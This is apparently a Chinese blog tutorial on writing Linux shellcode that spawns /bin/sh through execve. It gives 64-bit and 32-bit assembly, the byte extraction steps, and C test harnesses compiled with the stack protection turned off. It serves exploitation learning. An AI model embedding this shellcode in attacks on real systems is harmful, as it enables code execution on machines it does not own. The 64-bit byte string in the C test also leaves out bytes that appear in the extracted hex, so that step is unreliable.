avatar

如何编写一个shellcode

如何编写一个shellcode

如果我们想要从一个程序中获取系统的shell,便需要我们当前的进程创建一个全新的进程,来让我们可以与系统直接进行交互。

什么是shell?

简而言之,就是用户和linux内核之间的接口程序,用户(即我)输入的每个命令都由shell先解释后传给linux内核

而在linux中,有两种方法创建新进程:一是通过现有的进程来创建,并替换正在活动的;二是利用现有的进程来生成它自己的拷贝,并在它的位置运行这个新进程。而execve()系统调用就是在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。

系统调用在linux中一般通过指令int 0x80来实现,而软中断以后,会在eax中读取系统调用号,调用相对应的函数,当系统调用参数小于等于6个时,参数按顺序放在ebx,ecx,edx,esi,edi,ebp中

大于6个时,全部参数应存在一块连续的内存空间里,同时在寄存器ebx中保存指向该内存区域的指针

64位shellcode

64位系统中的系统调用编号在/usr/include/x86_64-linux-gnu/asm/unistd_64.h,我们使用以下命令查找execve的系统编号:

1
2
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve
#define __NR_execve 59

可得execve的系统调用号是59即0x3b

调用execve需要传入三个参数,分别是新打开的应用或者脚本的路径、参数的字符串数组argv(最后一个元素是NULL)、环境变量的字符串数组envp(最后一个元素是NULL)execve("/bin/sh", NULL, NULL);

64位中当系统调用参数小于等于6个时,参数按顺序放在rdi,rsi,rdx,r10,r8,r9中

大于6个时,全部参数应存在一块连续的内存空间里,同时在寄存器ebx中保存指向该内存区域的指针

我们用汇编语言编写,测试环境是64位ubuntu16.04,这里我们读取/bin/sh字符串并加上0xff给寄存器rbx,然后右移8位去除(因为shellcode里面不能有0x00?我自己测试有0x00会无限失败),然后将rbx内容push到栈中,并把地址传给第一个参数rdi,把rdx和rsi清零,给rax赋予0x3b操作值

需要注意的是由于是小端,这里传入的是倒着的/bin/sh

1
2
>>> '/bin/sh'[::-1].encode('hex')
'68732f6e69622f'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
;test.s
Section .text

global _start

_start:

mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
xor rdx, rdx
xor rax, rax
xor rsi, rsi
mov al, 0x3b
syscall

使用汇编编译工具NASM编译,因为是在64位系统中,需要指定elf64

1
2
3
$ sudo apt-get install nasm
$ nasm -f elf64 test.s
$ ld test.o -o test

使用以下命令提取shellcode

获得字符串形式

1
$ objdump -s test

然后放入python文件中

1
2
3
4
5
6
7
8
code = '48bbff2f62696e2f736848c1eb08534889e74831d24831c04831f6b03b0f05'
result = ""
for i in range(0, len(code), 2):
if i < len(code) - 1:
result += '\\x' + code[i:i+2]
else:
result += '\\x' + code[i]
print(result)

运行即可获得shellcode

然后我们使用c语言来验证

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <string.h>

char *shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xd2\x48\x31\xc0\xb0\x3b\x0f\x05";

int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
1
$ gcc -o s1 s1.c

运行即可get shell

32位shellcode

32位下使用int 80,execve的中断号是11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
;test32.s
Section .text

global _start

_start:
xor eax, eax
push eax
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov al, 11
int 0x80
1
2
$ nasm -f elf test32.s
$ ld -m elf_i386 -s -o test32 test32.o

利用以下命令可获取shellcode(在64位下会失败,少读取字节,还是建议用上文中的py脚本)

1
objdump -d ./test32|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

使用c代码测试

1
2
3
4
5
6
7
8
9
10
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

编译

1
2
$ sudo apt-get install g++-multilib libc6-dev-i386
$ gcc -fno-stack-protector -z execstack -m32 shellcode.c -o shellcode

运行成功

参考:

文章作者: 0bs3rver
文章链接: http://yoursite.com/2020/11/19/%E5%A6%82%E4%BD%95%E7%BC%96%E5%86%99%E4%B8%80%E4%B8%AAshellcode/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 0bs3rver的小屋